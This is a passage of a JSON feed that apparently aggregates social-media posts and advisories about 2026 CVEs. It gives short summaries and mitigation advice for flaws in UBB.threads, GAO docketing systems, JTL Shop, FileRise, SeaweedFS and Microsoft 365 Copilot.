"https://bsky.app/profile/cve.skyfleet.blue/post/3mol6zj5mne2o", "content": "CVE-2026-54221 - Reflected XSS in UBB.threads\nCVE ID : CVE-2026-54221\n \n Published : June 18, 2026, 12:56 p.m. | 46\u00a0minutes ago\n \n Description : UBB.threads is vulnerable to\u00a0Reflected XSS. The application improperly handles user input in certain requests, enabling attackers to...", "creation_timestamp": "2026-06-18T15:58:24.284885Z"}, {"uuid": "fe65b777-fea1-40cf-b01d-0e0a128319df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54223", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mol7lg5tfb27", "content": "CVE-2026-54223 - Remote Code Execution via arbitrary file read and write in UBB.threads\nCVE ID : CVE-2026-54223\n \n Published : June 18, 2026, 12:56 p.m. | 46\u00a0minutes ago\n \n Description : UBB.threads is vulnerable to Path traversal, allowing attackers with privilege to edit tem...", "creation_timestamp": "2026-06-18T16:08:25.078692Z"}, {"uuid": "e17d2848-5346-4f9c-b3d5-7f91a21d4974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54695", "type": "published-proof-of-concept", "source": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-j8cv-x86q-rj85", "content": "", "creation_timestamp": "2026-06-17T14:39:37.000000Z"}, {"uuid": "ecdaf8ba-2df9-43aa-a96f-5a25455b90d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54103", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3molci2fbib2u", "content": "CRITICAL (CVSS 9.8) vuln in GAO EPDS/CBCA EDS: unauthenticated password change via API. Restrict '/update-profile/N' & monitor until patched. Details: https://radar.offseq.com/threat/cve-2026-54103-cwe-306-missing-authentication-for--c02db531e70d9ca2 #OffSeq #Cybersecurity #CVE202654103", "creation_timestamp": "2026-06-18T17:00:14.194293Z"}, {"uuid": "245ca7f6-e1de-4c1c-bb44-68dfa00cabb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54103", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116772176604613913", "content": "CVE-2026-54103 (CRITICAL, CVSS 9.8): GAO EPDS & CBCA EDS lack authentication on password change API, enabling remote takeover. No patch yet. Restrict access, monitor logs. Details: https://radar.offseq.com/threat/cve-2026-54103-cwe-306-missing-authentication-for--c02db531e70d9ca2 #OffSeq #Vuln #CVE202654103 #GovSec", "creation_timestamp": "2026-06-18T17:00:14.370939Z"}, {"uuid": "9055a76e-176e-465d-8e39-4b45f19b1db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54103", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molffdqjrw2f", "content": "CVE-2026-54103 - U.S. GAO EPDS and CBCA EDS unauthenticated password change\nCVE ID : CVE-2026-54103\n \n Published : June 18, 2026, 4:12 p.m. | 1\u00a0hour, 30\u00a0minutes ago\n \n Description : The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and ...", "creation_timestamp": "2026-06-18T17:52:23.589341Z"}, {"uuid": "5ef50b6a-7323-4dc1-a467-d319478f03e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54104", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molg436wlg2g", "content": "CVE-2026-54104 - U.S. GAO EPDS and CBCA EDS client-based privilege escalation\nCVE ID : CVE-2026-54104\n \n Published : June 18, 2026, 4:12 p.m. | 1\u00a0hour, 29\u00a0minutes ago\n \n Description : The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) an...", "creation_timestamp": "2026-06-18T18:05:09.421112Z"}, {"uuid": "6d265ee1-9c65-4b84-b8bd-c3f325285c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54106", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molgc2f36c2j", "content": "CVE-2026-54106 - U.S. GAO EPDS and CBCA EDS network access control bypass\nCVE ID : CVE-2026-54106\n \n Published : June 18, 2026, 4:13 p.m. | 1\u00a0hour, 29\u00a0minutes ago\n \n Description : The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Ci...", "creation_timestamp": "2026-06-18T18:08:27.891931Z"}, {"uuid": "d25ae154-cae5-4124-b53b-f9558ecadad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54105", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molgzgtqsw2s", "content": "CVE-2026-54105 - U.S. GAO EPDS and CBCA EDS user information disclosure\nCVE ID : CVE-2026-54105\n \n Published : June 18, 2026, 4:13 p.m. | 1\u00a0hour, 29\u00a0minutes ago\n \n Description : The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civi...", "creation_timestamp": "2026-06-18T18:21:31.883173Z"}, {"uuid": "29a61683-cd36-4ea8-9c07-e180fb539fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54390", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3molhj2cqpl2v", "content": "CVE-2026-54390: CRITICAL template injection in JTL Shop 5.2.0 \u2013 5.7.1 lets attackers access secrets & achieve RCE. No patch \u2014 restrict access & monitor for abuse. https://radar.offseq.com/threat/cve-2026-54390-improper-neutralization-of-special--56e42e7fa37d20ee #OffSeq #CVE202654390 #websecurity", "creation_timestamp": "2026-06-18T18:30:15.890123Z"}, {"uuid": "3beb0c21-6e0e-4f1d-94fe-0a72cdd71645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54390", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116772530635095713", "content": "CRITICAL: CVE-2026-54390 in JTL Shop (5.2.0 \u2013 5.7.1) enables unauthenticated template injection. Attackers can extract secrets; RCE possible in 5.4.0+. No patch yet \u2014 restrict access & monitor logs. https://radar.offseq.com/threat/cve-2026-54390-improper-neutralization-of-special--56e42e7fa37d20ee #OffSeq #CVE202654390 #infosec #websecurity", "creation_timestamp": "2026-06-18T18:30:17.105039Z"}, {"uuid": "4bbee15b-0f55-4b16-96c6-6cd24dc1818b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54103", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/116772804679530962", "content": "lol. lmao.\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-54103\n\nThe U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civilian Board of Contract Appeals (CBCA) Electronic Docketing System (EDS) does not authenticate password change requests to the '/update-profile/N' API endpoint. A remote, unauthenticated attacker could change an arbitrary user's password.", "creation_timestamp": "2026-06-18T19:39:55.838549Z"}, {"uuid": "81de25ff-d0d3-49fc-ad55-e6f7401ff04a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molrr3wyz52f", "content": "CVE-2026-54390 - JTL Shop\nCVE ID : CVE-2026-54390\n \n Published : June 18, 2026, 5:33 p.m. | 3\u00a0hours, 35\u00a0minutes ago\n \n Description : JTL Shop versions 5.2.0 through 5.7.1 contains a server-side template injection vulnerability that allows unauthenticated attackers to inject ma...", "creation_timestamp": "2026-06-18T21:33:43.085836Z"}, {"uuid": "823cd059-72f4-44ba-ac02-efa2aba223b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54130", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3molzxtvyh42l", "content": "Critical vulnerability (CVE-2026-54130) in Microsoft 365 Copilot: missing authentication enables info disclosure over the network. Microsoft has issued a fix \u2014 ensure your service is updated. \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-54130-cwe-306-missing-authentication-for--8486327e51e4c768 #Of...", "creation_timestamp": "2026-06-19T00:00:40.316834Z"}, {"uuid": "551f7769-d8d8-41f3-90a6-237b2fd0f456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54130", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116773829826207617", "content": "Microsoft 365 Copilot hit by CVE-2026-54130 (CRITICAL, CVSS 9.8): Missing authentication lets attackers disclose info over the network. Official fix deployed \u2014 verify your cloud service is updated. \ud83d\udce2 https://radar.offseq.com/threat/cve-2026-54130-cwe-306-missing-authentication-for--8486327e51e4c768 #OffSeq #Microsoft365 #CVE #CloudSecurity", "creation_timestamp": "2026-06-19T00:00:44.618052Z"}, {"uuid": "0144d356-a56a-4f41-a92c-41946fb3e0ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54130", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mom6e5o3kr2x", "content": "CVE-2026-54130 - M365 Copilot Information Disclosure Vulnerability\nCVE ID : CVE-2026-54130\n \n Published : June 18, 2026, 9:42 p.m. | 1\u00a0hour, 49\u00a0minutes ago\n \n Description : None\n \n Severity: 9.8 | CRITICAL\n \n Visit the link for more details, such as CVSS details, affected prod...", "creation_timestamp": "2026-06-19T01:19:07.370420Z"}, {"uuid": "3577620f-1a10-41db-bd9a-a208b786ce9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3momciyt73y2g", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 34 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-50656: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50656: 12 interactions\nCVE-2026-49257: 4 interactions\nCVE-2026-10736: 3 interactions\n", "creation_timestamp": "2026-06-19T02:33:25.220800Z"}, {"uuid": "230f29ac-c970-4104-a5b6-fe152ad9da75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54414", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3momsieefw62x", "content": "CVE-2026-54414 - FileRise shared-folder upload path traversal allows arbitrary file write and admin takeover\nCVE ID : CVE-2026-54414\n \n Published : June 19, 2026, 5:41 a.m. | 1\u00a0hour, 27\u00a0minutes ago\n \n Description : FileRise before 3.16.0 is vulnerable to path traversal in the ...", "creation_timestamp": "2026-06-19T07:19:23.609204Z"}, {"uuid": "35880e4d-1461-4441-94d5-0373f2ccd551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54414", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116775598633883960", "content": "CVE-2026-54414: Critical path traversal in FileRise <3.16.0 allows attackers with a valid shared-folder upload link to write files outside the intended dir \u2014 can lead to admin takeover & RCE. Patch to 3.16.0+ ASAP. https://radar.offseq.com/threat/cve-2026-54414-cwe-22-improper-limitation-of-a-pat-b161bf82d6c29f3c #OffSeq #vuln #FileRise", "creation_timestamp": "2026-06-19T07:30:28.372134Z"}, {"uuid": "ff373e0d-1eed-4e63-9c7d-beb294bace33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54414", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3momt47f4ci2f", "content": "Critical path traversal in FileRise <3.16.0 (CVE-2026-54414): attackers with upload-enabled links can overwrite files, risking admin takeover/RCE. Update to 3.16.0+ now. \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-54414-cwe-22-improper-limitation-of-a-pat-b161bf82d6c29f3c #OffSeq #FileRise #infosec", "creation_timestamp": "2026-06-19T07:30:30.188873Z"}, {"uuid": "12b35a9c-c21a-4182-ba9b-bdcb1e73a8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54066", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54066.yaml", "content": "", "creation_timestamp": "2026-06-19T07:23:13.000000Z"}, {"uuid": "b956644c-b9ca-444c-8a68-77f7ac1ccb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "Telegram/jGgWbq3oWlyFT1_i5DpW7nywmMKHqNT57qTTP6bkXcS9oQ", "content": "", "creation_timestamp": "2026-06-16T07:09:12.000000Z"}, {"uuid": "e67d1020-63d9-4703-8d1b-a22981efd030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/leverageonheroes.bsky.social/post/3mtbw3v4bcw22", "content": "Certighost and the Privilege Hiding in Your Certificate Authority\n\nA newly disclosed vulnerability designated CVE-2026-54121 allows standard domain users to compromise enterprise certificate authorities.\n\nRead more: https://www.leverageonheroesmedia.com/global/tech/certighost-and-the-pr...", "creation_timestamp": "2026-08-17T14:30:40.799701Z"}, {"uuid": "06a998e3-9a9d-4a4e-a479-b3c9b0b3b0a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "seen", "source": "https://gist.github.com/alon710/57586b5d8bd6ec2753b002d5acf877e5", "content": "# CVE-2026-54917: CVE-2026-54917: Cross-Bucket Path Traversal and Authorization Bypass in SeaweedFS S3 and Iceberg Gateways\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-08-12\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54917\n\n## Summary\nCVE-2026-54917 is a critical path traversal and authorization bypass vulnerability affecting the S3 and Iceberg REST catalog gateways in SeaweedFS. By explicitly disabling canonical path cleaning in the gorilla/mux routing system, relative path segments such as '..' are allowed to bypass routing constraints and access control checks. When these paths are collapsed server-side by the backend filer, they resolve to folders outside the authorized bucket boundary, allowing unauthorized cross-bucket access.\n\n## TL;DR\nSeaweedFS gateways disable routing path cleaning, allowing '..' segments to reach the backend. This permits users with access to a single bucket to bypass IAM boundaries and read/write files in any other bucket on the cluster.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS Score**: 10.0\n- **Exploit Status**: Proof-of-Concept Available\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- SeaweedFS S3 API Gateway\n- SeaweedFS Iceberg REST Catalog Gateway\n- **SeaweedFS**: < 4.30 (Fixed in: `4.30`)\n\n## Mitigation\n\n- Upgrade all SeaweedFS deployments to version 4.30 or later.\n- Disable multi-tenant environments if immediate patching is not possible.\n- Restrict S3 and Iceberg port access using host-based firewalls or network access control lists.\n\n**Remediation Steps:**\n1. Audit existing deployments to locate all S3 API and Iceberg gateway configurations.\n2. Acquire the updated SeaweedFS package or container image (version 4.30 or higher).\n3. Apply the patch and restart the gateway services ('weed s3' or 'weed server').\n4. Verify remediation by attempting signed traversal requests and confirming they return HTTP 400.\n\n## References\n\n- [https://nvd.nist.gov/vuln/detail/CVE-2026-54917](https://nvd.nist.gov/vuln/detail/CVE-2026-54917)\n- [https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv](https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv)\n- [https://github.com/seaweedfs/seaweedfs/pull/9687](https://github.com/seaweedfs/seaweedfs/pull/9687)\n- [https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229](https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54917) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-12T22:31:56.548691Z"}, {"uuid": "3b5a930f-8ac3-4884-b12e-aa18ddf86564", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/301494c7-8243-48b7-b1b0-7ee32af1efbd", "content": "", "creation_timestamp": "2026-06-19T12:45:06.779860Z"}, {"uuid": "01cf028d-b1e8-47cc-b826-78e536959261", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/31ec02fb-65ac-46a6-a0c0-f704604579d7", "content": "", "creation_timestamp": "2026-06-19T12:45:33.157087Z"}, {"uuid": "b5aa9f9c-192c-491e-b6dc-7ba536fa7a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3msfaf427pp2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-18577: 37 interactions\nCVE-2026-66066: 36 interactions\nCVE-2026-58048: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-18577: 5 interactions\nCVE-2026-54876: 4 interactions\nCVE-2026-12943: 3 interactions\n", "creation_timestamp": "2026-08-06T04:47:35.327788Z"}, {"uuid": "0bea9a58-110d-4fae-a3d2-180d6b773a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "seen", "source": "https://gist.github.com/alon710/57586b5d8bd6ec2753b002d5acf877e5", "content": "# CVE-2026-54917: CVE-2026-54917: Cross-Bucket Path Traversal and Authorization Bypass in SeaweedFS S3 and Iceberg Gateways\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-08-12\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54917\n\n## Summary\nCVE-2026-54917 is a critical path traversal and authorization bypass vulnerability affecting the S3 and Iceberg REST catalog gateways in SeaweedFS. By explicitly disabling canonical path cleaning in the gorilla/mux routing system, relative path segments such as '..' are allowed to bypass routing constraints and access control checks. When these paths are collapsed server-side by the backend filer, they resolve to folders outside the authorized bucket boundary, allowing unauthorized cross-bucket access.\n\n## TL;DR\nSeaweedFS gateways disable routing path cleaning, allowing '..' segments to reach the backend. This permits users with access to a single bucket to bypass IAM boundaries and read/write files in any other bucket on the cluster.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS Score**: 10.0\n- **Exploit Status**: Proof-of-Concept Available\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- SeaweedFS S3 API Gateway\n- SeaweedFS Iceberg REST Catalog Gateway\n- **SeaweedFS**: < 4.30 (Fixed in: `4.30`)\n\n## Mitigation\n\n- Upgrade all SeaweedFS deployments to version 4.30 or later.\n- Disable multi-tenant environments if immediate patching is not possible.\n- Restrict S3 and Iceberg port access using host-based firewalls or network access control lists.\n\n**Remediation Steps:**\n1. Audit existing deployments to locate all S3 API and Iceberg gateway configurations.\n2. Acquire the updated SeaweedFS package or container image (version 4.30 or higher).\n3. Apply the patch and restart the gateway services ('weed s3' or 'weed server').\n4. Verify remediation by attempting signed traversal requests and confirming they return HTTP 400.\n\n## References\n\n- [https://nvd.nist.gov/vuln/detail/CVE-2026-54917](https://nvd.nist.gov/vuln/detail/CVE-2026-54917)\n- [https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv](https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv)\n- [https://github.com/seaweedfs/seaweedfs/pull/9687](https://github.com/seaweedfs/seaweedfs/pull/9687)\n- [https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229](https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54917) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-13T00:01:14.322610Z"}, {"uuid": "74dde648-7aa3-442f-a9a0-b5e50b638d01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54762", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3moni2ltzwt22", "content": "\ud83d\udd17 CVE : CVE-2026-54762", "creation_timestamp": "2026-06-19T13:45:23.690235Z"}, {"uuid": "a9fa5a87-e55b-4751-afd6-5a4f36ac9432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54051", "type": "published-proof-of-concept", "source": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666", "content": "", "creation_timestamp": "2026-06-02T20:40:48.000000Z"}, {"uuid": "d421e97c-7dbf-4b64-b0a4-3f8354743eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54761", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3monpld2twq2x", "content": "Traefik v3.6.21 patches CVE-2026-54761 and fixes TLS routing issues including routers with same host on different entryPoints and SNI checks for host-less routers #selfhosted #homelab\n\nhttps://github.com/traefik/traefik/releases/tag/v3.6.21\n", "creation_timestamp": "2026-06-19T16:00:01.124069Z"}, {"uuid": "d416c39c-6b49-4d99-9a65-fea28eb906ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3monqplodqe27", "content": "CISA flags CVE-2026-54420 in LiteSpeed cPanel Plugin; immediate action required to secure shared hosting environments. #CyberSecurity #LiteSpeed #cPanel #Vulnerability #CISA thedailytechfeed.com/cisa-flags-c...", "creation_timestamp": "2026-06-19T16:20:19.261382Z"}, {"uuid": "09faf5c4-154e-4276-8cdd-fe82988a100e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54906", "type": "published-proof-of-concept", "source": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr", "content": "", "creation_timestamp": "2026-06-16T21:35:12.000000Z"}, {"uuid": "5c2778ba-fd1e-41d8-a8df-d7a02ed50d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54592", "type": "published-proof-of-concept", "source": "https://github.com/ohler55/oj/security/advisories/GHSA-3m6q-jj5j-38c9", "content": "", "creation_timestamp": "2026-06-16T10:49:19.000000Z"}, {"uuid": "3b67ce85-684a-420f-8df4-3d89a1d644c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54528", "type": "published-proof-of-concept", "source": "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h", "content": "", "creation_timestamp": "2026-06-18T07:12:50.000000Z"}, {"uuid": "1ed82d99-4939-479c-ab10-74557af23a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54527", "type": "published-proof-of-concept", "source": "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-f962-v9hr-pfg5", "content": "", "creation_timestamp": "2026-06-18T07:12:58.000000Z"}, {"uuid": "da5867d4-6ee1-4e2b-887b-fa445a07ff14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54500", "type": "published-proof-of-concept", "source": "https://github.com/ohler55/oj/security/advisories/GHSA-fm7p-mprw-wjm9", "content": "", "creation_timestamp": "2026-06-16T10:50:01.000000Z"}, {"uuid": "e4e13439-f04c-4d86-a044-81237e24144c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54499", "type": "published-proof-of-concept", "source": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-v5jw-96jm-7h2c", "content": "", "creation_timestamp": "2026-06-18T19:32:55.000000Z"}, {"uuid": "86d4ed26-32c4-4fb3-a77b-b8ce5fcc4284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54317", "type": "published-proof-of-concept", "source": "https://github.com/home-assistant/core/security/advisories/GHSA-x84v-g949-293w", "content": "", "creation_timestamp": "2026-06-18T09:17:38.000000Z"}, {"uuid": "ce8c95dc-e02f-4edc-9364-eee7625b9c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54297", "type": "published-proof-of-concept", "source": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r", "content": "", "creation_timestamp": "2026-06-18T13:20:52.000000Z"}, {"uuid": "4f5345c8-0559-4ae0-9525-176ce3a41800", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mooa2bnvpea2", "content": "CISA Adds LiteSpeed cPanel Plugin Vulnerability to KEV List Following Active Exploitation CISA has added a critical LiteSpeed cPanel Plugin vulnerability, tracked as CVE-2026-54420, to its Known Ex...\n\n#Cyber #Security #News #Vulnerability #News #cyber [\u2026] \n\n[Original post on cybersecuritynews.com]", "creation_timestamp": "2026-06-19T20:54:49.925115Z"}, {"uuid": "6095ce4e-820d-424c-bc51-01a4f265d822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54762", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-4mr2-fg2p-w63c", "content": "", "creation_timestamp": "2026-06-19T08:27:41.000000Z"}, {"uuid": "9fe10e8c-5b63-4676-ae10-8af9c0c4e061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54074", "type": "published-proof-of-concept", "source": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw", "content": "", "creation_timestamp": "2026-06-09T00:22:22.000000Z"}, {"uuid": "4ab91a0a-d2a9-442f-b729-b64c22e7f10f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54905", "type": "published-proof-of-concept", "source": 